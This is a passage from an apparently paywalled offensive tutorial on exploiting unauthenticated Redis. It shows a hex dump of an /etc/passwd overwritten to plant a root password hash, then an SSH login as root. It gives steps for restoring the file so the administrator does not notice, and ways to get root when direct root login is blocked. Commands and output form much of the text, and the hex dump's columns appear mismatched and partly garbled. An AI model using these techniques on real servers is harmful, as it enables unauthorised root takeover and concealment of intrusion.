00000b0: 6364 40b8 0a0a 2072 6f6f743a 2436 246d  cd@… root:$6$m

00000c0: 7930 7361 6c74 3024 644d5442 6f4a 5357  y0sadlt0$yCCi..O

00000d0: 4470 4f50 6b5a 6869 304e7a39 6465 3336  sWo8n5MaBFytGaZ0

00000e0: 5369 4a78 4345 5559 4671316b 3970 3733  qTcHKErSaoyvAVvM

00000f0: 7449 3738 7172 7445 71354735 4235 367a  tI78qrtEq5G5B56z

0000100: 7376 6e44 5444 6f4c 7241635a 4356 5a6e  svnDTdfwkj2JCVZn

0000110: 6f74 6a5a 4c58 6954 6d517a30 6c2e 3a30  oke6c9.FkDN53.:0

0000120: 3a30 3a72 6f6f 743a 2f726f6f 743a 2f62  :0:root:/root:/b

0000130: 696e 2f62 6173 680a 73736864 3a78 3a31  in/bash.sshd:x:1

0000140: 3038 3a36 3535 3334 3a3a2f76 6172 2f72  08:65534::/var/r

0000150: 756e 2f73 7368 643a 2f757372 2f73 6269  un/sshd:/usr/sbi

0000160: 6e2f 6e6f 6c6f 6769 6e200a0a 0002 6161  n/nologin ….aa

0000170: 0166 0001 6102 6464 ffdb1772 3902 cde3  .f..a.dd…r9…

0000180: de                                       .

 

 

The second field of the row where root is located has changed from the previous x to the hash corresponding to YourNewPasswd%1024. Try to log in to root with this password through SSH successfully:

 

$ ssh 192.168.56.101

root@192.168.56.101’s password:

Welcome to Lamp, TurnKey GNU/Linux14.1 / Debian 8.9 Jessie

Last login: Mon Aug 28 01:23:30 2017from 192.168.56.104

root@lamp ~$ id

uid=0(root) gid=0(root)groups=0(root)

 

 

As mentioned earlier, since redis can only write files in overwrite mode and cannot add files, this intrusion method will destroy the original content of /etc/passwd, so after successfully logging in to the system, be sure to restore /etc/passwd as soon as possible, otherwise, it will cause the administrator. Note that it will affect the normal operation of the business. First restore most of the contents from /etc/passwd-:

 

 

$ cp /etc/passwd- /etc/passwd

$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

mongodb:x:112:65534::/home/mongodb:/bin/false

yang:x:1000:1000::/home/yang:/bin/sh

memcache:x:113:120:Memcached,,,:/nonexistent:/bin/false

 

 

Then find the missing account wawa from /etc/shadow:

 

 

$ cat /etc/passwd- | cut -d ‘:’ -f 1> a.txt && cat /etc/shadow | cut -d ‘:’ -f 1 > b.txt &&diff a.txt b.txt

34d33

> wawa

 

Manually append wawa to /etc/passwd:

 

wawa:x:1002:1002:,,,:/home/wawa:/bin/bash

 

The whole process is complete.

Now we have realized that the root password is reset to YourNewPasswd%1024. If you are lucky (the SSH service is enabled on the target, and root is allowed to log in directly), the short-term benefit of this is that you can log in to the machine through SSH to gain root access. For example, try to use root/ YourNewPasswd%1024 for SSH login successfully:

 

$ ssh root@192.168.56.101

root@192.168.56.101’s password:

Welcome to Lamp, TurnKey GNU/Linux14.1 / Debian 8.9 Jessie

Last login: Fri Sep  1 21:57:26 2017 from 192.168.56.104

root@lamp ~# id

uid=0(root) gid=0(root)groups=0(root)

 

 

If you are unlucky, you cannot log in even if the password is reset successfully:

 

# ssh 192.168.56.101

root@192.168.56.101’s password:

Permission denied, please try again.

 

 

There are many reasons for this result, and there are several common types: the administrator sets PermitRootLogin to no in /etc/ssh/sshd_config to prohibit root login directly, or the administrator in the root of the /etc/shadow file:!$6$ Add before the hash password field in rWDSG…Hsi1:15347:0:9999:7::: to lock the account. Or, the administrator defines a whitelist of source IPs that can access the machine in /etc/hosts.allow, etc. It doesn’t matter, we have the root password, combined with other vulnerabilities, there is a high probability of successful intrusion. For example, the web application of this machine has a command injection vulnerability. Based on this, the shell of the account apache running the web container can be obtained. Since we know the root password, You can use su root to gain root control; for example, the system only prohibits root login, but does not prohibit other accounts from logging in. As long as (through other loopholes) you have mastered the account names of the machine other than root, then reset root completely at the same time And other account passwords, first log in to other accounts and then use su root. The invasion is a combination of punches, spreading the mind, and there will eventually be a way.

 

[/wc_pay_can_read]

Reviews

There are no reviews yet.

Be the first to review “Redis unauthorized access vulnerability in-depth exploitation”

Your email address will not be published. Required fields are marked *